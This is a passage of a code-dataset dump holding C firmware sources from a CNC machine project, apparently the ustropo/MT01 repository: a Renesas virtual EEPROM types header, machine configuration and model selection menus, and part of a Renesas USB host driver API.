//!< JUNCTION DEV\n\t\"mm/min^3\", //!< JUNCTION ACCEL\n\t\"mm\", //!< CHORDAL TOLERANCE\n\t NULL, //!< FORMAT MEM\n};\n" }, { "alpha_fraction": 0.5180155634880066, "alphanum_fraction": 0.5332247018814087, "avg_line_length": 44.27049255371094, "blob_id": "d7dce27d36565a9eed87c160d529d494eae6751b", "content_id": "0922695e46a9a2f7848e0581201b007a72aa8df8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5523, "license_type": "no_license", "max_line_length": 120, "num_lines": 122, "path": "/r_vee/src/r_vee_types.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee_types.h\n* Description : Virtual EEPROM structures and types\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 12.07.2011 1.00 First Release\n* : 03.01.2012 1.50 Updated for internal CS and for FIT. Added support for RX63x Groups.\n* : 14.09.2012 1.60 Updated for FIT v0.7 Spec. Fixed bug found when reset occurred after FULL flag was \n* written and before NEXTUP was written. VEE now handles this event.\n* : 03.01.2013 1.70 Added R_VEE_Open() function to initialize or reset VEE. Created r_vee_target.h to replace\n* multiple r_vee_<mcu>.h files that had duplicate information. Updated to be compliant with\n* FIT v1.00 specification. This means that config file is now in 'ref' folder. Tested with\n* RX62G, RX210, and RX63T. Added R_VEE_Control() function.\n***********************************************************************************************************************/\n\n#ifndef VEE_TYPES_H\n#define VEE_TYPES_H\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Fixed-width types. */\n#include <stdint.h>\n/* VEE interface has some typedefs that are needed. */\n#include \"r_vee_if.h\"\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n/* VEE Sector Structure */\ntypedef struct\n{\n /* Unique VEE Sector identifier */\n uint8_t sector_ID;\n /* The number of VEE Blocks in this VEE Sector */\n uint8_t num_VEE_blocks;\n /* The size of each VEE Block in bytes */\n uint32_t VEE_block_size; \n /* The start addresses of these blocks */\n uint32_t const * VEE_block_addr;\n /* Number of data flash blocks per VEE Block */\n uint8_t num_df_blocks;\n /* This holds the lowest and highest data flash blocks for each VEE Block */\n uint32_t const (* df_blocks)[2];\n} vee_sector_t;\n\n/* VEE Next Address entry */\ntypedef struct\n{\n /* Flags this entry as valid or not */\n uint8_t valid;\n /* Which VEE Block is used */\n uint32_t block;\n /* Next open spot in the data flash */\n uint8_t far * address;\n} vee_next_address_t;\n\n/* VEE Cache Entry */\ntypedef struct\n{\n /* Flags this entry as valid or not */\n uint8_t valid;\n /* Which VEE Block is used */\n uint32_t block;\n /* Address of entry in the data flash */\n vee_record_t far * address;\n} vee_cache_entry_t;\n\n/* VEE Cache */\ntypedef struct\n{\n /* Tells whether cache has been filled or not */\n uint8_t valid;\n /* Cache entries */\n vee_cache_entry_t entries[VEE_MAX_RECORD_ID];\n} vee_cache_t;\n\n/* VEE Block Info Structure */\ntypedef struct\n{\n /* VEE Block state flags */\n uint8_t erasing;\n uint8_t active;\n uint8_t full;\n uint8_t nextup;\n} vee_block_info_t;\n\n/* Defines the possible VEE write states */\ntypedef enum \n{ \n VEE_WRITE_FLAG_ACTIVE,\n VEE_WRITE_FLAG_ERASING,\n VEE_WRITE_FLAG_FULL,\n VEE_WRITE_FLAG_NEXTUP,\n VEE_WRITE_START_DEFRAG,\n VEE_WRITE_ID, \n VEE_WRITE_SIZE,\n VEE_WRITE_BLOCK,\n VEE_WRITE_CHECK,\n VEE_WRITE_DATA,\n VEE_WRITE_DONE\n} vee_write_states_t;\n\n#endif /* VEE_TYPES_H */\n" }, { "alpha_fraction": 0.5735151171684265, "alphanum_fraction": 0.5851995944976807, "avg_line_length": 13.464788436889648, "blob_id": "e32da43edbe59d12e9cf3821ca6fc4cf329556f3", "content_id": "66c0b8e658c21f60ff6b2f1da0d3540b8805a7a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1027, "license_type": "no_license", "max_line_length": 52, "num_lines": 71, "path": "/src/states/config_thc_maquina.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_maquina.c\n *\n * Created on: Oct 7, 2016\n * Author: LAfonso01\n */\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"config_thc_maquina.h\"\n#include \"eeprom.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nut_config_var configsTh[CFG_THC_MAX];\n\nconst ut_state geNextStateTh[CFG_THC_MAX] =\n{\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n};\n\nuint32_t th_init_values[CFG_THC_MAX] =\n{\n\t0,\n\t0,\n};\n\n/* Initial values for each config variable */\nut_config_type th_init_types[CFG_THC_MAX] =\n{\n\tUT_CONFIG_BOOL, //!< Kerf\n\tUT_CONFIG_BOOL, //!< Mergulho\n};\n\nchar* th_init_names[CFG_THC_MAX] =\n{\n\t\" DETECTOR DE KERF\", //!< Kerf\n\t\" ANTI MERGULHO\", //!< Mergulho\n};\n\nfloat th_init_max[CFG_THC_MAX] =\n{\n\tNULL,\n\tNULL\n};\n\nfloat th_init_min[CFG_THC_MAX] =\n{\n\tNULL,\n\tNULL\n};\n\nuint8_t th_init_point[CFG_THC_MAX] =\n{\n\tNULL,\n\tNULL\n};\n\nfloat th_init_step[CFG_THC_MAX] =\n{\n\tNULL,\n\tNULL\n};\n\nchar* th_init_unit[CFG_THC_MAX] =\n{\n\tNULL,\n\tNULL\n};\n" }, { "alpha_fraction": 0.6447696089744568, "alphanum_fraction": 0.649128258228302, "avg_line_length": 18.95030975341797, "blob_id": "17a75837c02605d63ee2aa25db0c4aea4f7e0a2d", "content_id": "5af08e4588c04ed661fad1eb6c54d8a49b647628", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3214, "license_type": "no_license", "max_line_length": 73, "num_lines": 161, "path": "/src/states/ut_state_maq_model.c", "repo_name": "ustropo/MT01", "src_encoding": "IBM852", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"hardware.h\"\n#include \"planner.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"interpreter_if.h\"\n#include \"eeprom.h\"\n#include \"macros.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\n/* Array with all config variables */\nut_config_var configs_model[CFG_MODEL_MAX];\nstatic bool initialized = false;\n\nstatic char* init_names[CFG_MODEL_MAX] =\n{\n\t\" EASYMAK\",\n\t\" COMPACTAXP\",\n\t\" MOBILE\",\n\t\" UNIMAK\",\n};\n\nstatic const char* gszConfigMenuTitle = \"MODELO M┴QUINA\";\n\n/**\n * Initialize config array\n */\nstatic void init()\n{\n\tuint8_t i;\n\n\t/* Check if already initialized */\n\tif(initialized) {\n\t\tfor(i = 0; i < CFG_MODEL_MAX; i++)\n\t\t{\n\t\t\tconfigs_model[i].name = init_names[i];\n\t\t}\n\t\treturn;\n\t}\n\t/* Zero all values */\n\tmemset(configs_model, 0, sizeof(configs_model));\n\tfor(i = 0; i < CFG_MODEL_MAX; i++)\n\t{\n\t\tconfigs_model[i].name = init_names[i];\n\t}\n\n\tinitialized = true;\n}\n\n/**\n * Shows a configuration menu for the jog.\n *\n * @param pContext Context object\n * @return Main menu state\n */\n\nut_state ut_state_config_maq_model(ut_context* pContext)\n{\n\tut_menu config_menu;\n\tuint8_t i;\n\n\t/* Initialize variables */\n\tinit();\n\n\t/* Initialize menu */\n\tut_menu_init(&config_menu);\n\t/* Options */\n\tconfig_menu.title = gszConfigMenuTitle;\n\n\t/* Items */\n\tfor(i = 0; i < CFG_MODEL_MAX; i++)\n\t{\n\t\tconfig_menu.items[config_menu.numItems++].text = configs_model[i].name;\n\t}\n\n\t/* Show menu */\n\tconfig_menu.selectedItem = 0;\n\tif(ut_menu_browse(&config_menu, DEFAULT_CONFIG_TIMEOUT) < 0)\n\t{\n\t\treturn STATE_SPLASH;\n\t}\n\tswitch (config_menu.selectedItem)\n\t{\n\t\tcase CFG_MODEL_EASYMAK:\n\t\t\tg_maq.model = EASYMAK_MAQ;\n\t\t\tbreak;\n\t\tcase CFG_MODEL_COMPACTA:\n\t\t\tg_maq.model = COMPACTA_MAQ;\n\t\t\tbreak;\n\t\tcase CFG_MODEL_MOBILE:\n\t\t\tg_maq.model = MOBILE_MAQ;\n\t\t\tbreak;\n\t\tcase CFG_MODEL_UNIMAQ:\n\t\t\tg_maq.model = UNIMAQ_MAQ;\n\t\t\tbreak;\n\t}\n\n\tconfigsVar->currentState = STATE_MAQ_MODEL_SELECTION;\n\tconfigsVar->type = UT_CONFIG_BOOL;\n\tconfigsVar->name = \"TIPO DE CREMALHEIRA?\";\n\tconfigsVar->func_var = NULL;\n\tconfigsVar->value = &g_maq.crem;\n\tut_state_config_var(pContext);\n\n\tswitch (g_maq.model)\n\t{\n\t\tcase EASYMAK_MAQ:\n\t\t\teepromFormat();\n\t\t\tif (g_maq.crem == MODEL_RETA)\n\t\t\t\tmachine_type_write(\"EASYMAK\",\"RETA\");\n\t\t\telse\n\t\t\t\tmachine_type_write(\"EASYMAK\",\"HELI\");\n\t\t\tg_maq = check_machine_type();\n\t\t\tbreak;\n\t\tcase COMPACTA_MAQ:\n\t\t\teepromFormat();\n\t\t\tif (g_maq.crem == MODEL_RETA)\n\t\t\t\tmachine_type_write(\"COMPACTA\",\"RETA\");\n\t\t\telse\n\t\t\t\tmachine_type_write(\"COMPACTA\",\"HELI\");\n\t\t\tg_maq = check_machine_type();\n\t\t\tbreak;\n\t\tcase MOBILE_MAQ:\n\t\t\teepromFormat();\n\t\t\tif (g_maq.crem == MODEL_RETA)\n\t\t\t\tmachine_type_write(\"MOBILE\",\"RETA\");\n\t\t\telse\n\t\t\t\tmachine_type_write(\"MOBILE\",\"HELI\");\n\t\t\tg_maq = check_machine_type();\n\t\t\tbreak;\n\t\tcase UNIMAQ_MAQ:\n\t\t\teepromFormat();\n\t\t\tif (g_maq.crem == MODEL_RETA)\n\t\t\t\tmachine_type_write(\"UNIMAQ\",\"RETA\");\n\t\t\telse\n\t\t\t\tmachine_type_write(\"UNIMAQ\",\"HELI\");\n\t\t\tg_maq = check_machine_type();\n\t\t\tbreak;\n\t}\n\tRESET\n\treturn STATE_SPLASH;\n}\n" }, { "alpha_fraction": 0.43755975365638733, "alphanum_fraction": 0.44947415590286255, "avg_line_length": 37.409603118896484, "blob_id": "4ea78a5da06bded51884da8e57762de9c21400de", "content_id": "39b6eb78fb0981bec0b95d4a2504e1d90e2c319f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 27194, "license_type": "no_license", "max_line_length": 120, "num_lines": 708, "path": "/r_usb_basic/src/driver/host/r_usb_hdriverapi.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hdriverapi.c\n* Description : USB Host Control Driver API. USB Host transfer level commands.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void R_usb_cstd_SetTaskPri(uint8_t tasknum, uint8_t pri);\n\n/******************************************************************************\nRenesas USB Host Driver API functions\n******************************************************************************/\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_hstd_TransferStart\nDescription : Request HCD to transfer data. HCD will transfer the data \n based on the transfer information stored in ptr.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn : USB_ER_t error code : USB_E_OK/USB_E_QOVR/USB_E_ERROR.\n******************************************************************************/\nUSB_ER_t R_usb_hstd_TransferStart(USB_UTR_t *ptr)\n{\n USB_ER_t err;\n\n /* Check enumeration */\n if( ptr->keyword == USB_PIPE0 )\n {\n if( (usb_ghstd_MgrMode[ptr->ip][0] == USB_DEFAULT) || (usb_ghstd_MgrMode[ptr->ip][1] == USB_DEFAULT) )\n {\n return USB_E_QOVR;\n }\n }\n\n err = usb_hstd_TransferStart( ptr );\n\n return err;\n}/* eof R_usb_hstd_TransferStart() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_SetPipeRegistration\nDescription : Set pipe configuration of USB H/W. Set the content of the \n : specified pipe information table (2nd argument).\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t *table : DEF_EP table pointer.\n : uint16_t pipe : pipe number.\nReturn : USB_ER_t error code : USB_E_OK etc.\n******************************************************************************/\nUSB_ER_t R_usb_hstd_SetPipeRegistration(USB_UTR_t *ptr, uint16_t *table, uint16_t pipe)\n{\n usb_hstd_SetPipeRegister(ptr, pipe, table);\n\n return USB_E_OK;\n}/* eof R_usb_hstd_SetPipeRegistration() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_TransferEnd\nDescription : Request HCD to force termination of data transfer.\nArguments : USB_UTR_t *ptr : USB system internal structure. \n : uint16_t *table : DEF_EP table pointer\n : uint16_t pipe : pipe number\nReturn : USB_ER_t error code : USB_E_OK etc\n******************************************************************************/\nUSB_ER_t R_usb_hstd_TransferEnd(USB_UTR_t *ptr, uint16_t pipe, uint16_t status)\n{\n uint16_t msg;\n USB_ER_t err;\n\n if( usb_gcstd_Pipe[ptr->ip][pipe] == USB_NULL )\n {\n USB_PRINTF1(\"### R_usb_hstd_TransferEnd overlaps %d\\n\", pipe);\n return USB_E_QOVR;\n }\n\n if( status == USB_DATA_TMO )\n {\n msg = USB_MSG_HCD_TRANSEND1;\n }\n else\n {\n msg = USB_MSG_HCD_TRANSEND2;\n }\n\n err = usb_hstd_HcdSndMbx(ptr, msg, pipe, (uint16_t*)0, &usb_cstd_DummyFunction);\n return err;\n}/* eof R_usb_hstd_TransferEnd() */\n\n\n/******************************************************************************\nFunction Name : R_usb_hstd_MgrOpen\nDescription : Initialize global variable that contains registration status \n : of HDCD.\n : For RTOS version, start Manager(MGR) task\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn : none\n******************************************************************************/\nUSB_ER_t R_usb_hstd_MgrOpen(USB_UTR_t *ptr)\n{\n USB_ER_t err=USB_DONE;\n USB_HCDREG_t *driver;\n uint16_t i;\n\n /* Manager Mode */\n usb_ghstd_MgrMode[ptr->ip][0] = USB_DETACHED;\n usb_ghstd_MgrMode[ptr->ip][1] = USB_DETACHED;\n usb_ghstd_DeviceSpeed[ptr->ip] = USB_NOCONNECT;\n /* Device address */\n usb_ghstd_DeviceAddr[ptr->ip] = USB_DEVICE_0;\n /* Device driver number */\n usb_ghstd_DeviceNum[ptr->ip] = 0;\n for( i = USB_PIPE0; i <= USB_MAX_PIPE_NO; i++ )\n {\n usb_ghstd_SuspendPipe[ptr->ip][i] = USB_DONE;\n }\n\n for( i = 0; i < (USB_MAXDEVADDR + 1u); i++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][i];\n /* Root port */\n driver->rootport = USB_NOPORT;\n /* Device address */\n driver->devaddr = USB_NODEVICE;\n /* Device state */\n driver->devstate = USB_DETACHED;\n /* Interface Class : NO class */\n driver->ifclass = (uint16_t)USB_IFCLS_NOT;\n /* Root port */\n usb_ghstd_DeviceInfo[ptr->ip][i][0] = USB_NOPORT;\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][i][1] = USB_DETACHED;\n /* Not configured */\n usb_ghstd_DeviceInfo[ptr->ip][i][2] = (uint16_t)0;\n /* Interface Class : NO class */\n usb_ghstd_DeviceInfo[ptr->ip][i][3] = (uint16_t)USB_IFCLS_NOT;\n /* No connect */\n usb_ghstd_DeviceInfo[ptr->ip][i][4] = (uint16_t)USB_NOCONNECT;\n }\n\n USB_PRINTF0(\"*** Install USB-MGR ***\\n\");\n\n R_usb_cstd_SetTaskPri(USB_MGR_TSK, USB_PRI_2);\n\n return err;\n}/* eof R_usb_hstd_MgrOpen() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_MgrClose\nDescription : For RTOS version, stop Manager(MGR) task.\nArgument : none\nReturn : none\n******************************************************************************/\nUSB_ER_t R_usb_hstd_MgrClose(void)\n{\n USB_ER_t err=USB_DONE;\n\n USB_PRINTF0(\"*** Release USB-MGR ***\\n\");\n\n return err;\n}/* eof R_usb_hstd_MgrClose() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_DriverRegistration\nDescription : The HDCD information registered in the class driver structure \n : is registered in HCD.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : USB_HCDREG_t *callback : class driver structure\nReturn : none\n******************************************************************************/\nvoid R_usb_hstd_DriverRegistration(USB_UTR_t *ptr, USB_HCDREG_t *callback)\n{\n USB_HCDREG_t *driver;\n\n if( usb_ghstd_DeviceNum[ptr->ip] <= USB_MAXDEVADDR )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][usb_ghstd_DeviceNum[ptr->ip]];\n /* Root port */\n driver->rootport = USB_NOPORT;\n /* Device address */\n driver->devaddr = USB_NODEVICE;\n /* Device state */\n driver->devstate = USB_DETACHED;\n /* Interface Class */\n driver->ifclass = callback->ifclass;\n /* Target peripheral list */\n driver->tpl = callback->tpl;\n /* Pipe Define Table address */\n driver->pipetbl = callback->pipetbl;\n /* Driver init */\n driver->classinit = callback->classinit;\n /* Driver check */\n driver->classcheck = callback->classcheck;\n /* Device configured */\n driver->devconfig = callback->devconfig;\n /* Device detach */\n driver->devdetach = callback->devdetach;\n /* Device suspend */\n driver->devsuspend = callback->devsuspend;\n /* Device resume */\n driver->devresume = callback->devresume;\n\n /* Initialized device driver */\n (*driver->classinit)(ptr, driver->devaddr, (uint16_t)USB_NO_ARG);\n\n usb_ghstd_DeviceNum[ptr->ip]++;\n USB_PRINTF1(\"*** Registration driver 0x%02x\\n\",driver->ifclass);\n }\n else\n {\n USB_PRINTF0(\"### Registration device driver over\\n\");\n }\n}/* eof R_usb_hstd_DriverRegistration() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_DriverRelease\nDescription : Release the Device Class Driver.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint8_t devclass : Interface class\nReturn : none\n******************************************************************************/\nvoid R_usb_hstd_DriverRelease(USB_UTR_t *ptr, uint8_t devclass)\n{\n USB_HCDREG_t *driver;\n uint16_t i, flg;\n\n if( devclass == USB_IFCLS_NOT )\n {\n /* Device driver number */\n usb_ghstd_DeviceNum[ptr->ip] = 0;\n }\n else\n {\n for( flg = 0u, i = 0u\n ; (i < (USB_MAXDEVADDR + 1u)) && (flg == 0u); i++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][i];\n if( driver->ifclass == devclass )\n {\n /* Root port */\n driver->rootport = USB_NOPORT;\n /* Device address */\n driver->devaddr = USB_NODEVICE;\n /* Device state */\n driver->devstate = USB_DETACHED;\n /* Interface Class : NO class */\n driver->ifclass = (uint16_t)USB_IFCLS_NOT;\n\n usb_ghstd_DeviceNum[ptr->ip]--;\n USB_PRINTF1(\"*** Release class %d driver ***\\n\",devclass);\n flg = 1u; /* break; */\n }\n }\n }\n}/* eof R_usb_hstd_DriverRelease() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_ChkPipeInfo\nDescription : Analyze descriptor information of the connected USB Device, \n and reflect it in the pipe information table.\nArgument : uint16_t speed : device speed\n : uint16_t *ep_tbl : DEF_EP table pointer\n : uint8_t *descriptor : Endpoint Descriptor table\nReturn : uint16_t : DIR_H_IN / DIR_H_OUT / USB_ERROR\n******************************************************************************/\nuint16_t R_usb_hstd_ChkPipeInfo(uint16_t speed, uint16_t *ep_tbl, uint8_t *descriptor)\n{\n uint16_t pipe_cfg, pipe_maxp, pipe_peri;\n uint16_t retval, work1, work2;\n\n /* Check Endpoint descriptor */\n /* Descriptor Type */\n if( descriptor[1] == USB_DT_ENDPOINT )\n {\n switch( (uint16_t)(descriptor[3] & USB_EP_TRNSMASK) )\n {\n /* Control Endpoint */\n case USB_EP_CNTRL:\n USB_PRINTF0(\"###Control pipe is not support.\\n\");\n return USB_ERROR;\n break;\n /* Isochronous Endpoint */\n case USB_EP_ISO:\n if( (ep_tbl[0] != USB_PIPE1) && (ep_tbl[0] != USB_PIPE2) ) \n {\n USB_PRINTF0(\"###Iso pipe is 1 or 2.\\n\");\n return USB_ERROR;\n }\n USB_PRINTF0(\" ISOCH \");\n pipe_cfg = USB_ISO;\n break;\n /* Bulk Endpoint */\n case USB_EP_BULK:\n if( (ep_tbl[0] < USB_PIPE1) || (ep_tbl[0] > USB_PIPE5) )\n {\n USB_PRINTF0(\"###Bulk pipe is 1 to 5.\\n\");\n return USB_ERROR;\n }\n /* USB_PRINTF0(\" BULK \"); */\n pipe_cfg = USB_BULK;\n break;\n /* Interrupt Endpoint */\n case USB_EP_INT:\n if( (ep_tbl[0] < USB_PIPE6) || (ep_tbl[0] > USB_MAX_PIPE_NO) )\n {\n USB_PRINTF0(\"###Int pipe is 6 to 9.\\n\");\n return USB_ERROR;\n }\n /* USB_PRINTF0(\" INT \"); */\n pipe_cfg = USB_INT;\n break;\n default:\n USB_PRINTF0(\"###Endpoint Descriptor error.\\n\");\n return USB_ERROR;\n break;\n }\n\n /* Set pipe configuration table */\n if( (descriptor[2] & USB_EP_DIRMASK) == USB_EP_IN )\n {\n /* IN(receive) */\n\n if( (descriptor[3] & USB_EP_TRNSMASK) != USB_EP_ISO )\n {\n /* Compulsory SHTNAK */\n pipe_cfg |= USB_SHTNAKON | USB_DIR_H_IN;\n }\n else\n {\n pipe_cfg |= USB_DIR_H_IN;\n }\n switch( ep_tbl[5] )\n {\n case USB_CUSE:\n /* continue */\n case USB_D0USE:\n /* continue */\n case USB_D1USE:\n pipe_cfg |= (uint16_t)(ep_tbl[1] & (USB_DBLBFIELD|USB_CNTMDFIELD));\n break;\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n /* continue */\n case USB_D1DMA:\n pipe_cfg |= (uint16_t)((uint16_t)(ep_tbl[1] & (USB_DBLBFIELD|USB_CNTMDFIELD)) );\n break;\n#endif /* USB_DTC_ENABLE */\n default:\n USB_PRINTF0(\"###Endpoint Descriptor error.\\n\");\n return USB_ERROR;\n break;\n }\n retval = USB_DIR_H_IN;\n }\n else \n {\n /* OUT(send) */\n pipe_cfg |= (uint16_t)((uint16_t)(ep_tbl[1] & (USB_DBLBFIELD|USB_CNTMDFIELD)) | USB_DIR_H_OUT);\n retval = USB_DIR_H_OUT;\n }\n\n /* Endpoint number set */\n pipe_cfg |= (uint16_t)(descriptor[2] & USB_EP_NUMMASK);\n\n /* Max packet size set */\n pipe_maxp = (uint16_t)(descriptor[4] | (uint16_t)((uint16_t)descriptor[5] << 8u));\n /* Buffer flash */\n pipe_peri = (uint16_t)(ep_tbl[4] & (~USB_IITVFIELD));\n if( descriptor[6] != 0 )\n {\n /* FS/LS interrupt */\n if( ((uint16_t)(pipe_cfg & USB_TYPFIELD) == USB_INT) && (speed != USB_HSCONNECT) )\n {\n work1 = descriptor[6];\n work2 = 0;\n for( ; work1 != 0; work2++ )\n {\n work1 = (uint16_t)(work1 >> 1);\n }\n if( work2 != 0 )\n {\n /* Interval time */\n pipe_peri |= (uint16_t)(work2 - 1);\n }\n }\n else\n {\n if( descriptor[6] <= 8 )\n {\n /* Interval time */\n pipe_peri |= (uint16_t)((descriptor[6] - 1u) & (USB_IITVFIELD));\n }\n else\n {\n /* Interval time */\n pipe_peri |= (uint16_t)(0x00FFu) & (USB_IITVFIELD);\n }\n }\n }\n ep_tbl[1] = pipe_cfg;\n ep_tbl[3] = pipe_maxp;\n ep_tbl[4] = pipe_peri;\n /* USB_PRINTF4(\" pipe%d configuration %04X %04X %04X\\n\", ep_tbl[0], ep_tbl[1], ep_tbl[3], ep_tbl[4]); */\n }\n else\n {\n USB_PRINTF0(\"###Endpoint Descriptor error.\\n\");\n return USB_ERROR;\n }\n return (retval);\n}/* eof R_usb_hstd_ChkPipeInfo */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_SetPipeInfo\nDescription : Copy information of pipe information table from source \n (2nd argument) to destination (1st argument)\nArgument : uint16_t *dst_ep_tbl : DEF_EP table pointer(destination)\n : uint16_t *src_ep_tbl : DEF_EP table pointer(source)\n : uint16_t length : Table length\nReturn : none\n******************************************************************************/\nvoid R_usb_hstd_SetPipeInfo(uint16_t *dst_ep_tbl, uint16_t *src_ep_tbl, uint16_t length)\n{\n uint16_t i;\n\n//USB_PRINTF3(\"!!! %lx %lx %d\\n\", dst_ep_tbl, src_ep_tbl, length);\n\n for( i = 0; i < length; i++ )\n {\n dst_ep_tbl[i] = src_ep_tbl[i];\n }\n}\n/* eofR_usb_hstd_SetPipeInfo\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_hstd_DeviceInformation\nDescription : Get the status of the connected USB Device\nArguments : USB_UTR_t *ptr : USB system internal structure. \n : uint16_t devaddr : Device address\n : uint16_t *tbl : Table Pointer\nReturn : None\n******************************************************************************/\nvoid R_usb_hstd_DeviceInformation(USB_UTR_t *ptr, uint16_t devaddr, uint16_t *tbl)\n{\n uint16_t i, port, *p;\n\n if( devaddr == 0 )\n {\n for( p = tbl, i = 0; i < 8; ++i )\n {\n *p++ = USB_NOPORT;\n }\n\n port = usb_ghstd_DeviceInfo[ptr->ip][devaddr][0];\n if( port != USB_NOPORT )\n {\n tbl[0] = port;\n tbl[1] = usb_ghstd_MgrMode[ptr->ip][port];\n tbl[4] = usb_ghstd_DeviceInfo[ptr->ip][devaddr][4];\n }\n else\n {\n tbl[0] = port;\n tbl[1] = usb_ghstd_MgrMode[ptr->ip][0];\n tbl[4] = usb_ghstd_DeviceInfo[ptr->ip][devaddr][4];\n }\n }\n else\n {\n for( i = 0; i < 8; ++i )\n {\n tbl[i] = usb_ghstd_DeviceInfo[ptr->ip][devaddr][i];\n }\n }\n tbl[8] = usb_ghstd_MgrMode[ptr->ip][0];\n tbl[9] = usb_ghstd_MgrMode[ptr->ip][1];\n}\n/*\n eofR_usb_hstd_DeviceInformation\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_hstd_ReturnEnuMGR\nDescription : Continuous enumeration is requested to MGR 